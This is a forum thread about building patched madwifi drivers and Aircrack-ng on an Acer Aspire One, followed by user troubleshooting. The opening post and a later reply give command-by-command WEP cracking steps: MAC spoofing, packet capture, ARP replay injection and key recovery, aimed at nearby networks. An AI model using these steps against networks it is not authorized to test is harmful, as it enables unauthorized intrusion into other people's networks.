[Acer Linpus] Aspire One and Aircrack-ng

1) Compilation dependencies
I cannot guaranty the list of dependency I do is exhaustive, since I probably have some implicit ones (compiler for example....). Nevertheless here are the ones I remember, if compilations fails, look at the name of missed file and use « yum search » :

Code:

yum install kernel-devel krb5-devel libstdc++-devel openssl-devel make svn

2) Take control of your Linux distribution...
I do not really know why, but by default Kernel sources (and therefore the possibility to compile your own modules/drivers) are not provided on Aspire One.
Nevertheless to comply with opensource delivery policies, Acer provide source code online, you can get and install it such way :

Code:

cd /usr/src
wget [url]ftp://[email protected]/Aspire_One_Linpus_Linux/Aspire_One_Source/linux-2.6.23.9lw.zip[/url]
mkdir /usr/src/linux-2.6.23.9
cd linux-2.6.23.9
unzip ../linux-2.6.23.9lw.zip
cp /boot/config_080621v1.v1.0.1 .config
chmod 755 scripts/mod/modpost
chmod 755 scripts/basic/fixdep

3) Compile and Install madfifi
I do not really know why (even if I'm some ideas...) madwifi drivers provided by Acer don’t allow Atheros chipset packet injection functions... Let's change that:

Code:

ifconfig ath0 down
ifconfig wifi0 down
rmmod ath_pci
svn  checkout [url]http://svn.madwifi.org/madwifi/branches/madwifi-hal-0.10.5.6/[/url] madwifi-ng
cd madwifi-ng
wget [url]http://patches.aircrack-ng.org/madwifi-ng-r3745.patch[/url]
patch -Np1 -i ./madwifi-ng-r3745.patch
./scripts/madwifi-unload
make
make install
depmod -ae
modprobe ath_pci

4) Let’s use very last Aircrack-ng software:

Code:

wget [url]http://download.aircrack-ng.org/aircrack-ng-1.0-rc1.tar.gz[/url]
tar -zxvf aircrack-ng-1.0-rc1.tar.gz
cd aircrack-ng-1.0-rc1
make
make install

5) How to use Aircrack-ng (the simple way)

a) Start the Atheros listening interface:

Code:

/usr/local/sbin/airmon-ng start wifi0

b) Find the closer network WEP key
(some doc here : http://aircrack-ng.org/doku.php?id=wesside-ng ) :

Code:

/usr/local/sbin/wesside-ng -i ath1

c) use any other Aircrack-ng tools (if you do not like wesside-ng), they are located in /usr/local/sbin path.

Conclusion:
Even on a cheap and powerless hardware like Aspire One, WEP cracking is a question of minutes. WEP is really a poor technology and I advise you to use always MAC address filtering (it doesn't really preserve, but it makes lose more time to the attacker...).

 

i get this error when i try to 'make'

 

some easy way

let's go to hacking

 

i cannot install svn,there's the error message:

Code:

Error: Missing Dependency: libgnutls.so.13(GNUTLS_1_3) is needed by package libpurple
Error: Missing Dependency: libgnutls.so.13 is needed by package libpurple

Error: Missing Dependency: libgnutls.so.13(GNUTLS_1_3) is needed by package vlc-core
Error: Missing Dependency: libpython2.5.so.1.0 is needed by package pcmlinux

what i have to do?

 

Hi there, am a bit of a newbie at this but seem to be getting on well. am having one problem with getting hold of the linux-2.6.23.9lw.zip file. It always seems to stop after downloading 30mb. have tried navigating to the ftp site and downoading it through firefox but the same problem comes up. Has anyone got a different link for it or a torrent?

 

Scrap my last post. Have found an alternative ftp site with the file on. For anyone having problems or fancies looking at the other files here is the link.

Hi,

I can't compile it. When I do "make" it gives me this:

Code:

[root@localhost madwifi-ng]# make
./kernelversion.c:13:30: error: linux/utsrelease.h: No such file or directory
Checking requirements... ok.
Checking kernel configuration... /bin/sh: -c: line 0: syntax error near unexpected token `|'
/bin/sh: -c: line 0: `echo char *uts_release = UTS_RELEASE; | grep -q -i '^[2-9]\.[4-9]\.' || { \'
make: *** [configcheck] Error 2

I don't know what am I doing bad. I need your help please.

Thanks.

 

hi;
when i give command patch -Np1 -i ./madwifi-ng-r3745.patch

give me,

Code:

patching file ath/if_ath.c
Hunk #1 FAILED at 2950.
Hunk #2 FAILED at 2963.
Hunk #3 FAILED at 2988.
3 out of 3 hunks FAILED -- saving rejects to file ath/if_ath.c.rej
[root@localhost madwifi-ng]# 

 

Nice post, just a couple of updates, the madwifi url has changed slightly, plus the latest revision is 3940 but the patch on aircrack is only up to 3925

Code:

svn checkout [url]http://svn.madwifi-project.org/madwifi/branches/madwifi-hal-0.10.5.6/[/url] madwifi-ng
wget [url]http://patches.aircrack-ng.org/madwifi-ng-r3925.patch[/url]

You can either try modify the patch or just edit the source directly before you build it (only 3 or 4 changes)

Also as of 22nd Jan aircrack-ng has a new version out...

Code:

wget [url]http://download.aircrack-ng.org/aircrack-ng-1.0-rc2.tar.gz[/url]

Cheers!

Hello

I want to use the packet injection function in the aircrack-ng suite and followed the instructions in this thread, but without success. Have anyone made packet injection work with these instructions in Linupus?

Thanks!

 

Indeed I have, if you post a print screen of your error and we might be able to help you

 

Hi I'm a linux newbie. and I'm stuck at the command line 7 of the second step (cp /boot/config_080621v1.v1.0.1 .config) terminal returns a message like this: cp: cannot stat `/boot/config_080621v1.v1.0.1': file or folder not exist.

Can you help me please. Thank you

 

Hello I cant get the patch to work it says the same thing as on page one, all 3 hunks fail also when I try the make command I get this

[root@localhost madwifi-ng]# make
./kernelversion.c:13:30: error: linux/utsrelease.h: No such file or directory
Checking requirements... ok.
Checking kernel configuration... /bin/sh: -c: line 0: syntax error near unexpected token `|'
/bin/sh: -c: line 0: `echo char *uts_release = UTS_RELEASE; | grep -q -i '^[2-9]\.[4-9]\.' || { \'
make: *** [configcheck] Error 2

does anybody know what this means or even have a slight idea?

 

To check the security of networks I use the SliTaz distro. There is a version that is talor fitted for the Aspire One.And it is only 60 or so MB in size, and still has a whole slew of usefull apps like Gparted. Wifi works like a charm on it.
Here's the Wiki on it: http://www.aircrack-ng.org/doku.php?id=slitaz&DokuWiki=d9e6785dfc9a0ef49a0c6634ea3eea4c
And here is the DL link: ftp://vmware.aircrack-ng.org/slitaz-aircrack-ng-20090704.iso

Here is some instructions to start cracking your WEP key.
1: load slitaz
2: login as root
3: startx
4: open terminal
5: run startaaoath0 ---This is the only way to activate the wifi card.
6: airmon-ng
7: airmon-ng stop ath0
8: ifconfig wifi0 down
9: macchanger --mac (anymac address: Like 00:11:22:33:44:55) wifi0
10: airmon-ng start wifi0
11: iwconfig
12: airodump-ng ath0
13: airodump-ng -c (channel) -w (file) --bssid (bssid) ath0
open a new terminal, keeping the old one running and type:
14: aireplay-ng -1 0 -a (bssid) -h (anymac) ath0
15: aireplay-ng -3 -b (bssid) -h (anymac) ath0
once the IVs have been captured and #Data on the first terminal exceeds 20000. open a new terminal and type:
16: aircrack-ng -n (enter "64" or "128" depending on the WEP) -b (bssid) file-01.cap
It wont take very long to get a WEP key.
And please only use this for good!

 

Hi there. I'm still newbie in my linpus.

I received error message: bash: patch: command not found

when I typed: patch -Np1 -i ./madwifi-ng-r4073.patch

I just followed the instruction, and finding the updated downloads for each links. Please help me how can i add/install the patch command?

Thanks
